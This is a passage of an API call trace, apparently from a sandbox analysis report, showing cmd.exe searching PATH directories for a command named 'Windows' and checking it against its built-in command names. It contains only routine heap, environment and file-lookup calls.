MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0161.863] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0161.864] GetProcessHeap () returned 0x20b0f920000 [0161.864] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0161.864] GetProcessHeap () returned 0x20b0f920000 [0161.864] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0161.864] GetProcessHeap () returned 0x20b0f920000 [0161.864] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0161.864] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.864] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92ceb0 [0161.864] FindClose (in: hFindFile=0x20b0f92ceb0 | out: hFindFile=0x20b0f92ceb0) returned 1 [0161.864] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.864] GetLastError () returned 0x2 [0161.864] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.865] GetLastError () returned 0x2 [0161.865] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.865] GetLastError () returned 0x2 [0161.865] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.865] GetLastError () returned 0x2 [0161.865] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.865] GetLastError () returned 0x2 [0161.865] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.865] GetLastError () returned 0x2 [0161.865] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.865] GetLastError () returned 0x2 [0161.866] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.866] GetLastError () returned 0x2 [0161.866] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.866] GetLastError () returned 0x2 [0161.866] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.866] GetLastError () returned 0x2 [0161.866] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.866] GetLastError () returned 0x2 [0161.866] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.866] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.866] GetLastError () returned 0x2 [0161.867] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.867] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d1b0 [0161.867] FindClose (in: hFindFile=0x20b0f92d1b0 | out: hFindFile=0x20b0f92d1b0) returned 1 [0161.867] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.867] GetLastError () returned 0x2 [0161.867] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.867] GetLastError () returned 0x2 [0161.867] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.867] GetLastError () returned 0x2 [0161.867] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.868] GetLastError () returned 0x2 [0161.868] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.868] GetLastError () returned 0x2 [0161.868] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.868] GetLastError () returned 0x2 [0161.868] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.868] GetLastError () returned 0x2 [0161.868] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.868] GetLastError () returned 0x2 [0161.868] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.868] GetLastError () returned 0x2 [0161.869] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.869] GetLastError () returned 0x2 [0161.869] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.869] GetLastError () returned 0x2 [0161.869] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.869] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.869] GetLastError () returned 0x2 [0161.869] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.869] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.869] GetLastError () returned 0x2 [0161.869] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.869] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.870] GetLastError () returned 0x2 [0161.870] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.870] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.870] GetLastError () returned 0x2 [0161.870] ??_V@YAXPEAX@Z () returned 0x1 [0161.870] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92feb80, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0161.870] malloc (_Size=0xffce) returned 0x20b0fa70920 [0161.870] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0161.870] malloc (_Size=0xffce) returned 0x20b0fa80900 [0161.871] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0161.871] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0161.871] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0161.871] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0161.871] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0161.871] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0161.871] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0161.871] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0161.871] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0161.871] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0161.871] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0161.871] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0161.871] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0161.871] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0161.871] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0161.871] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0161.871] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0161.872] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0161.872] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0161.872] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0161.872] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0161.872] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0161.872] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0161.872] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0161.872] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0161.872] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0161.872] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0161.872] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0161.872] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0161.872] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0161.872] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0161.872] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0161.872] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0161.872] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0161.872] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0161.872] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0161.872] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0161.872] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0161.872] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0161.872] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0161.872] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0161.872] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0161.872] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0161.872] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0161.872] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0161.872] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0161.872] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0161.872] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0161.872] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0161.872] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0161.873] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0161.873] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0161.873] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0161.873] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0161.873] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0161.873] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0161.873] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0161.873] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0161.873] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0161.873] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0161.873] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0161.873] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0161.873] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0161.873] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0161.873] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0161.873] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0161.873] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0161.873] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0161.873] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0161.873] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0161.873] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0161.873] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0161.873] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0161.873] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0161.873] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0161.873] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0161.873] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0161.873] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0161.873] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0161.873] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0161.873] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0161.873] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0161.873] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0161.873] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0161.873] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0161.874] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0161.874] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0161.874] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0161.874] ??_V@YAXPEAX@Z () returned 0x1 [0161.874] GetProcessHeap () returned 0x20b0f920000 [0161.874] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f946660 [0161.875] GetProcessHeap () returned 0x20b0f920000 [0161.875] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc0) returned 0x20b0f92d680 [0161.875] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0161.875] malloc (_Size=0xffce) returned 0x20b0fa80900 [0161.875] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0161.877] GetProcessHeap () returned 0x20b0f920000 [0161.877] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f956f80 [0161.877] SetErrorMode (uMode=0x0) returned 0x0 [0161.877] SetErrorMode (uMode=0x1) returned 0x0 [0161.877] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f956f90, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0161.877] SetErrorMode (uMode=0x0) returned 0x1 [0161.877] GetProcessHeap () returned 0x20b0f920000 [0161.877] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f956f80, Size=0x48) returned 0x20b0f956f80 [0161.877] GetProcessHeap () returned 0x20b0f920000 [0161.877] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956f80) returned 0x48 [0161.877] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0161.877] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0161.877] GetProcessHeap () returned 0x20b0f920000 [0161.878] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0161.878] GetProcessHeap () returned 0x20b0f920000 [0161.878] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0161.878] GetProcessHeap () returned 0x20b0f920000 [0161.878] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0161.878] GetProcessHeap () returned 0x20b0f920000 [0161.878] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0161.878] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0161.878] GetProcessHeap () returned 0x20b0f920000 [0161.878] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92e460 [0161.878] GetProcessHeap () returned 0x20b0f920000 [0161.878] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e460, Size=0x7e) returned 0x20b0f92e460 [0161.878] GetProcessHeap () returned 0x20b0f920000 [0161.878] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e460) returned 0x7e [0161.878] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.878] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cdf0 [0161.878] FindClose (in: hFindFile=0x20b0f92cdf0 | out: hFindFile=0x20b0f92cdf0) returned 1 [0161.878] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.879] GetLastError () returned 0x2 [0161.879] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.879] GetLastError () returned 0x2 [0161.879] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.879] GetLastError () returned 0x2 [0161.879] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.879] GetLastError () returned 0x2 [0161.879] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.879] GetLastError () returned 0x2 [0161.879] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.879] GetLastError () returned 0x2 [0161.879] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.880] GetLastError () returned 0x2 [0161.880] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.880] GetLastError () returned 0x2 [0161.880] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.880] GetLastError () returned 0x2 [0161.880] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.880] GetLastError () returned 0x2 [0161.880] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.880] GetLastError () returned 0x2 [0161.880] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.880] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.881] GetLastError () returned 0x2 [0161.881] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.881] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d2d0 [0161.881] FindClose (in: hFindFile=0x20b0f92d2d0 | out: hFindFile=0x20b0f92d2d0) returned 1 [0161.881] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.881] GetLastError () returned 0x2 [0161.881] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.881] GetLastError () returned 0x2 [0161.881] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.881] GetLastError () returned 0x2 [0161.881] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.882] GetLastError () returned 0x2 [0161.882] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.882] GetLastError () returned 0x2 [0161.882] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.882] GetLastError () returned 0x2 [0161.882] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.882] GetLastError () returned 0x2 [0161.882] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.882] GetLastError () returned 0x2 [0161.882] FindFirstFileExW (in: 